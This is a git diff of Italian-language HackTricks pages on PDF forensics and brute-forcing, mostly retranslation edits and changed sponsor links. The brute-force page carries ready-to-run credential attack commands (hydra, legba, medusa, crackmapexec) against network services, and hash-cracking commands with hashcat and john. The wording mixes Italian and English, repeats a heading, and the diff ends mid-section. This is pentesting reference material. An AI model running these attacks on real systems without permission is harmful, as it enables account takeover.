diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
index 2d2a18010..9be001fa1 100644
--- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
+++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
@@ -6,7 +6,7 @@
Altri modi per supportare HackTricks:
-* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@@ -17,14 +17,14 @@ Altri modi per supportare HackTricks:
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis) per creare e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pdf-file-analysis" %}
**Per ulteriori dettagli controlla:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
-Il formato PDF è noto per la sua complessità e il potenziale di occultamento dei dati, rendendolo un punto focale per le sfide forensi CTF. Combina elementi di testo semplice con oggetti binari, che potrebbero essere compressi o crittografati, e può includere script in linguaggi come JavaScript o Flash. Per comprendere la struttura del PDF, si può fare riferimento ai materiali introduttivi di Didier Stevens [qui](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), o utilizzare strumenti come un editor di testo o un editor specifico per PDF come Origami.
+Il formato PDF è noto per la sua complessità e il potenziale di occultamento dei dati, rendendolo un punto focale per le sfide forensi CTF. Combina elementi di testo semplice con oggetti binari, che potrebbero essere compressi o crittografati, e può includere script in linguaggi come JavaScript o Flash. Per comprendere la struttura dei PDF, si può fare riferimento ai materiali introduttivi di Didier Stevens [qui](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), o utilizzare strumenti come un editor di testo o un editor specifico per PDF come Origami.
Per l'esplorazione o la manipolazione approfondita dei PDF, sono disponibili strumenti come [qpdf](https://github.com/qpdf/qpdf) e [Origami](https://github.com/mobmewireless/origami-pdf). I dati nascosti all'interno dei PDF potrebbero essere occultati in:
@@ -35,7 +35,7 @@ Per l'esplorazione o la manipolazione approfondita dei PDF, sono disponibili str
* Testo dietro le immagini o immagini sovrapposte
* Commenti non visualizzati
-Per l'analisi personalizzata dei PDF, è possibile utilizzare librerie Python come [PeepDF](https://github.com/jesparza/peepdf) per creare script di analisi su misura. Inoltre, il potenziale del PDF per lo storage di dati nascosti è così vasto che risorse come la guida NSA sui rischi e le contromisure dei PDF, anche se non più ospitata nella sua posizione originale, offrono comunque preziosi spunti. Una [copia della guida](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) e una raccolta di [trucchi sul formato PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) di Ange Albertini possono offrire ulteriori letture sull'argomento.
+Per l'analisi personalizzata dei PDF, è possibile utilizzare librerie Python come [PeepDF](https://github.com/jesparza/peepdf) per creare script di analisi su misura. Inoltre, il potenziale dei PDF per lo storage di dati nascosti è così vasto che risorse come la guida NSA sui rischi e le contromisure dei PDF, sebbene non più ospitata nella sua posizione originale, offrono comunque preziosi spunti. Una [copia della guida](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) e una raccolta di [trucchi sul formato PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) di Ange Albertini possono offrire ulteriori letture sull'argomento.
@@ -43,7 +43,7 @@ Per l'analisi personalizzata dei PDF, è possibile utilizzare librerie Python co
Altri modi per supportare HackTricks:
-* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
diff --git a/generic-methodologies-and-resources/brute-force.md b/generic-methodologies-and-resources/brute-force.md
index 0d83738f3..341301e3d 100644
--- a/generic-methodologies-and-resources/brute-force.md
+++ b/generic-methodologies-and-resources/brute-force.md
@@ -3,10 +3,10 @@
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
@@ -16,15 +16,15 @@ Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
-* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
+* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
-## Credenziali predefinite
+## Credenziali Predefinite
-**Cerca su Google** le credenziali predefinite della tecnologia in uso, o **prova questi link**:
+**Cerca su Google** le credenziali predefinite della tecnologia che viene utilizzata, o **prova questi link**:
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
@@ -41,7 +41,7 @@ Altri modi per supportare HackTricks:
## **Crea i tuoi Dizionari**
-Trova il maggior numero possibile di informazioni sul target e genera un dizionario personalizzato. Strumenti che possono aiutare:
+Trova il maggior numero possibile di informazioni sul target e genera un dizionario personalizzato. Strumenti che potrebbero aiutare:
### Crunch
```bash
@@ -103,10 +103,10 @@ Finished in 0.920s.
\
-Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
+Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) per creare e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
## Servizi
@@ -133,16 +133,12 @@ nmap --script ajp-brute -p 8009
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
```
### Cassandra
-
-Cassandra è un database distribuito altamente scalabile che può essere soggetto a attacchi di forza bruta per compromettere le credenziali di accesso.
```bash
nmap --script cassandra-brute -p 9160
# legba ScyllaDB / Apache Casandra
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042
```
### CouchDB
-
-CouchDB è un database NoSQL che può essere soggetto a attacchi di forza bruta per compromettere le credenziali di accesso. È possibile utilizzare strumenti come Hydra o Medusa per condurre attacchi di forza bruta contro CouchDB.
```bash
msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
@@ -157,7 +153,7 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordl
```
### FTP
-Il metodo di attacco brute-force può essere utilizzato per indovinare le credenziali di accesso a un server FTP. Un attaccante può utilizzare uno script o uno strumento automatizzato per provare una serie di nomi utente e password comuni o generate casualmente fino a quando non trova le credenziali corrette per accedere al server FTP.
+Il protocollo FTP (File Transfer Protocol) è un protocollo standard di rete utilizzato per il trasferimento di file da un host a un altro tramite una rete TCP-based come Internet.
```bash
hydra -l root -P passwords.txt [-t 32] ftp
ncrack -p 21 --user root -P passwords.txt [-T 5]
@@ -193,8 +189,6 @@ cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP
```
### IMAP
-
-IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. IMAP permits the user to view and manipulate the messages as though they were stored locally on the user's device.
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V
@@ -203,9 +197,7 @@ legba imap --username user --password data/passwords.txt --target localhost:993
```
### IRC
-#### Brute Force
-
-Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method is often used when other techniques, such as social engineering or password guessing, have failed. Brute force attacks can be time-consuming but are effective against weak passwords.
+Il Brute Force è una tecnica comunemente utilizzata per indovinare le password degli account IRC. Questo metodo coinvolge la generazione di molteplici password e il loro continuo tentativo di accesso fino a quando non viene trovata quella corretta.
```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p
```
@@ -237,13 +229,17 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
```
### LDAP
+
+LDAP (Lightweight Directory Access Protocol) è un protocollo standard aperto utilizzato per accedere e mantenere servizi di directory su una rete IP. LDAP è comunemente utilizzato per l'autenticazione e l'autorizzazione degli utenti.
```bash
nmap --script ldap-brute -p 389
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
```
### MQTT
-Il protocollo MQTT (Message Queuing Telemetry Transport) è un protocollo leggero di messaggistica utilizzato per la comunicazione tra dispositivi IoT.
+#### Brute Force
+
+Brute force attacks involve trying all possible combinations of usernames and passwords until the correct one is found. This method can be used to gain unauthorized access to MQTT brokers. It is important to use strong and unique passwords to prevent brute force attacks.
```
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
@@ -255,25 +251,10 @@ use auxiliary/scanner/mongodb/mongodb_login
legba mongodb --target localhost:27017 --username root --password data/passwords.txt
```
### MSSQL
-
-#### Brute Force
-
-Brute force attacks are commonly used to crack passwords. They consist of systematically checking all possible passwords until the correct one is found. This method can be effective but also time-consuming, especially for complex passwords. It is important to use strong and unique passwords to protect against brute force attacks.
```bash
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
```
### MySQL
-
-#### Brute Force
-
-Brute force attacks are a common method used to gain unauthorized access to a MySQL database. Attackers use automated tools to try all possible combinations of usernames and passwords until the correct one is found. To prevent brute force attacks, it is recommended to:
-
-- Use strong and complex passwords
-- Limit the number of login attempts
-- Implement account lockout mechanisms
-- Monitor and log login attempts for suspicious activities
-
-By following these best practices, you can enhance the security of your MySQL database and protect it from brute force attacks.
```bash
# hydra
hydra -L usernames.txt -P pass.txt mysql
@@ -289,17 +270,7 @@ legba mysql --username root --password wordlists/passwords.txt --target localhos
```
### OracleSQL
-#### Brute Force
-
-Brute force attacks are commonly used to crack passwords by trying all possible combinations until the correct one is found. In OracleSQL, tools like Hydra and Metasploit can be used to perform brute force attacks against Oracle databases.
-
-#### Dictionary Attacks
-
-Dictionary attacks are similar to brute force attacks but instead of trying all possible combinations, they use a predefined list of words or phrases. Tools like John the Ripper and Hashcat can be used to perform dictionary attacks in OracleSQL.
-
-#### Rainbow Tables
-
-Rainbow tables are precomputed tables used to crack password hashes. Tools like RainbowCrack can be used to generate and use rainbow tables in OracleSQL to crack password hashes efficiently.
+### OracleSQL
```bash
patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
@@ -332,8 +303,6 @@ pip3 install cx_Oracle --upgrade
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
```
### POP
-
-Il protocollo Post Office Protocol (POP) è uno dei protocolli standard utilizzati per recuperare le email da un server remoto.
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V
@@ -345,8 +314,6 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl
```
### PostgreSQL
-
-PostgreSQL è un sistema di gestione di database relazionali (RDBMS) open source ampiamente utilizzato.
```bash
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres
medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
@@ -370,6 +337,8 @@ hydra -V -f -L -P rdp://
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain ] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
```
### Redis
+
+Redis è un popolare sistema di memorizzazione di chiavi-valori open source che può essere soggetto a attacchi di forza bruta.
```bash
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379
@@ -377,16 +346,20 @@ hydra –P /path/pass.txt redis://: # 6379 is the default
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
```
### Rexec
+
+Rexec è un protocollo di rete che consente a un utente di eseguire comandi su un computer remoto. Un attaccante potrebbe utilizzare un attacco di forza bruta per indovinare le credenziali di accesso e ottenere l'accesso non autorizzato al sistema remoto.
```bash
hydra -l -P rexec:// -v -V
```
### Rlogin
+
+Rlogin è un protocollo di rete che consente a un utente di effettuare il login su un host remoto su una rete.
```bash
hydra -l -P rlogin:// -v -V
```
### Rsh
-Il metodo di attacco a forza bruta Rsh è un attacco in cui il cracker tenta di indovinare le credenziali di accesso di un sistema utilizzando un approccio di tentativi ripetuti.
+Rsh (Remote Shell) è un protocollo che consente a un utente di eseguire comandi su un computer remoto. Un attaccante potrebbe utilizzare un attacco di forza bruta per indovinare la password e ottenere l'accesso al sistema remoto.
```bash
hydra -L rsh:// -v -V
```
@@ -397,8 +370,6 @@ hydra -L rsh:// -v -V
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873
```
### RTSP
-
-Il Real Time Streaming Protocol (RTSP) è un protocollo di rete utilizzato per il controllo di flussi multimediali continui come l'audio o il video su Internet.
```bash
hydra -l root -P passwords.txt rtsp
```
@@ -431,7 +402,7 @@ legba smtp --username admin@example.com --password wordlists/passwords.txt --tar
```
### SOCKS
-### SOCKS
+SOCKS (Socket Secure) è un protocollo di rete che permette il routing dei pacchetti tra un client e un server tramite un server proxy. SOCKS può essere utilizzato per nascondere l'indirizzo IP del client e bypassare le restrizioni di rete.
```bash
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
@@ -442,7 +413,7 @@ legba socks5 --target localhost:1080 --username admin --password data/passwords.
#### Brute Force
-Brute force attacks against SQL Server typically involve trying to guess usernames and passwords to gain unauthorized access. This can be done using automated tools that systematically try all possible combinations of usernames and passwords until the correct one is found. It is important to use strong and unique passwords to protect against brute force attacks.
+Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. In the context of SQL Server, this means trying all possible combinations of characters to guess the login credentials of a user. These attacks can be automated using tools like Hydra or Medusa. It is important to note that brute force attacks can be time-consuming and resource-intensive, but they can be effective if the password is weak. Implementing measures such as account lockout policies and strong password requirements can help mitigate the risk of a successful brute force attack.
```bash
#Use the NetBIOS name of the machine as domain
crackmapexec mssql -d -u usernames.txt -p passwords.txt
@@ -453,7 +424,7 @@ msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts
```
### SSH
-Il metodo di forza bruta per attaccare un server SSH coinvolge la generazione di password casuali e il loro tentativo di accesso al server tramite SSH. Questo processo può essere automatizzato utilizzando script o strumenti appositi come Hydra o Medusa. È importante notare che l'utilizzo di attacchi di forza bruta per violare la sicurezza di un server è illegale e può comportare conseguenze legali.
+Il metodo di forza bruta per attaccare un server SSH coinvolge la generazione di password casuali e il loro tentativo di accesso al server tramite SSH. Questo processo può essere automatizzato utilizzando script o strumenti appositi come Hydra o Medusa. È importante notare che l'utilizzo di questo metodo è illegale a meno che non venga eseguito su un sistema di cui si è il legittimo proprietario o si abbia il permesso esplicito di farlo.
```bash
hydra -l root -P passwords.txt [-t 32] ssh
ncrack -p 22 --user root -P passwords.txt [-T 5]
@@ -465,7 +436,7 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
```
#### Chiavi SSH deboli / PRNG prevedibile di Debian
-Alcuni sistemi presentano difetti noti nel seme casuale utilizzato per generare materiale crittografico. Ciò può risultare in uno spazio delle chiavi notevolmente ridotto che può essere forzato con strumenti come [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Set pre-generati di chiavi deboli sono anche disponibili come [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
+Alcuni sistemi presentano difetti noti nel seme casuale utilizzato per generare materiale crittografico. Ciò può risultare in uno spazio delle chiavi notevolmente ridotto che può essere forzato con strumenti come [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Set pre-generati di chiavi deboli sono disponibili anche come [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
### STOMP (ActiveMQ, RabbitMQ, HornetQ e OpenMQ)
@@ -475,7 +446,7 @@ legba stomp --target localhost:61613 --username admin --password data/passwords.
```
### Telnet
-Telnet è un protocollo di rete che consente di stabilire una connessione remota tramite la rete. Viene comunemente utilizzato per l'accesso a server e dispositivi di rete per l'esecuzione di comandi a distanza.
+Telnet è un protocollo di rete che consente di stabilire una connessione remota tramite la rete Internet o una rete locale. Viene comunemente utilizzato per l'accesso a server remoti per scopi di amministrazione o diagnostica.
```bash
hydra -l root -P passwords.txt [-t 32] telnet
ncrack -p 23 --user root -P passwords.txt [-T 5]
@@ -492,7 +463,7 @@ legba telnet \
```
### VNC
-VNC (Virtual Network Computing) è un sistema che consente di controllare un computer remoto tramite un'applicazione client-server.
+VNC (Virtual Network Computing) è un sistema che consente di controllare un computer remoto. Un attaccante potrebbe utilizzare attacchi di forza bruta per indovinare la password di accesso al server VNC remoto.
```bash
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc
medusa -h –u root -P /root/Desktop/pass.txt –M vnc
@@ -514,16 +485,16 @@ crackmapexec winrm -d -u usernames.txt -p passwords.txt
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
+Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
## Locale
### Database di cracking online
-* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
+* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 e SHA1)
* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 con/senza ESS/SSP e con qualsiasi valore di challenge)
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hash, catture WPA2 e archivi MSOffice, ZIP, PDF...)
* [https://crackstation.net/](https://crackstation.net) (Hash)
@@ -535,7 +506,7 @@ Ottieni l'accesso oggi:
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
-Controlla questo prima di provare a forzare un Hash.
+Controlla questo prima di provare a eseguire un attacco di forza bruta su un hash.
### ZIP
```bash
@@ -553,7 +524,7 @@ john zip.john
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
```
-#### Attacco zip con testo in chiaro conosciuto
+#### Attacco zip con testo in chiaro noto
È necessario conoscere il **testo in chiaro** (o parte del testo in chiaro) **di un file contenuto all'interno** dello zip crittografato. È possibile verificare **i nomi dei file e le dimensioni dei file contenuti all'interno** di uno zip crittografato eseguendo: **`7z l encrypted.zip`**\
Scarica [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) dalla pagina dei rilasci.
@@ -580,6 +551,8 @@ apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john
```
### PDF
+
+Il metodo di attacco brute-force è comunemente utilizzato per violare le password dei file PDF protetti da password. Questo metodo coinvolge la generazione di tutte le possibili combinazioni di password e la loro verifica fino a quando non viene trovata quella corretta. Questo processo può richiedere molto tempo a seconda della complessità della password.
```bash
apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
@@ -663,7 +636,7 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
### Chiave Master DPAPI
-Utilizza [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) e poi john
+Usa [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) e poi john
### Colonna Protetta da Password di Open Office
@@ -689,10 +662,10 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
\
-Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati** al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
## Strumenti
@@ -736,7 +709,7 @@ hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
* **Attacco di combinazione di elenchi di parole**
È possibile **combinare 2 elenchi di parole in 1** con hashcat.\
-Se l'elenco 1 contenesse la parola **"ciao"** e il secondo contenesse 2 righe con le parole **"mondo"** e **"terra"**. Le parole `ciaomondo` e `ciaoearth` verranno generate.
+Se l'elenco 1 contenesse la parola **"ciao"** e il secondo contenesse 2 righe con le parole **"mondo"** e **"terra"**. Le parole `ciaomondo` e `ciaoterra` verranno generate.
```bash
# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
@@ -791,82 +764,76 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```
-## Brute Forcing
+## Brute Force
### Introduction
-Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. In the context of cracking Linux hashes from the `/etc/shadow` file, brute forcing involves generating potential passwords and hashing them using the same algorithm as the one used in Linux to create the password hashes. These generated hashes are then compared with the target hash from the `/etc/shadow` file to find a match.
+Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is commonly used to crack password hashes stored in the `/etc/shadow` file on Linux systems.
### Tools
-There are various tools available for performing brute force attacks on password hashes. Some popular tools include John the Ripper, Hashcat, and Hydra. These tools support different algorithms and techniques for cracking hashes, making them versatile options for password cracking.
+There are various tools available for performing brute force attacks, such as John the Ripper, Hashcat, and Hydra. These tools can be used to automate the process of generating and testing a large number of keys or passwords.
### Methodology
-The general methodology for brute forcing Linux hashes from the `/etc/shadow` file involves the following steps:
+1. Obtain the password hash from the `/etc/shadow` file.
+2. Use a brute force tool to generate and test possible keys or passwords.
+3. Compare the generated hash with the target hash.
+4. If a match is found, the correct key or password has been identified.
-1. **Obtain the Hash**: Extract the target hash from the `/etc/shadow` file.
-2. **Choose a Tool**: Select a suitable password cracking tool based on the hash algorithm and complexity.
-3. **Generate Password List**: Create a list of potential passwords to be used in the brute force attack.
-4. **Start Brute Forcing**: Use the selected tool to systematically hash the passwords from the list and compare them with the target hash.
-5. **Crack the Password**: Once a match is found, the corresponding password is cracked and revealed.
+### Considerations
-### Conclusion
-
-Brute forcing is a powerful technique for cracking Linux hashes from the `/etc/shadow` file, especially when other methods like dictionary attacks fail. By using the right tools and following a systematic approach, hackers can successfully crack passwords and gain unauthorized access to systems.
+Brute force attacks can be time-consuming and resource-intensive, especially for complex passwords. It is important to use a good wordlist and optimize the attack parameters to increase the chances of success.
```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
```
-# Brute Force
+## Brute Force
-## Introduction
+### Introduction
-Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is often used to crack password hashes.
+Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is commonly used to crack password hashes.
-## Windows Hashes
+### Tools
-Windows stores user passwords in the form of hashes. These hashes can be cracked using brute force techniques by generating potential passwords and comparing their hashes to the target hash.
+There are several tools available for performing brute force attacks, such as **John the Ripper** and **Hashcat**. These tools can be used to crack Windows password hashes efficiently.
-## Tools
-
-There are various tools available for performing brute force attacks on Windows hashes, such as **John the Ripper** and **Hashcat**. These tools can be used to automate the process of generating and testing passwords against the target hash.
-
-## Methodology
+### Methodology
1. Obtain the password hash from the target Windows system.
-2. Use a brute force tool to generate potential passwords.
-3. Compare the hash of each generated password to the target hash.
-4. Once a match is found, the correct password has been cracked.
-
-## Conclusion
-
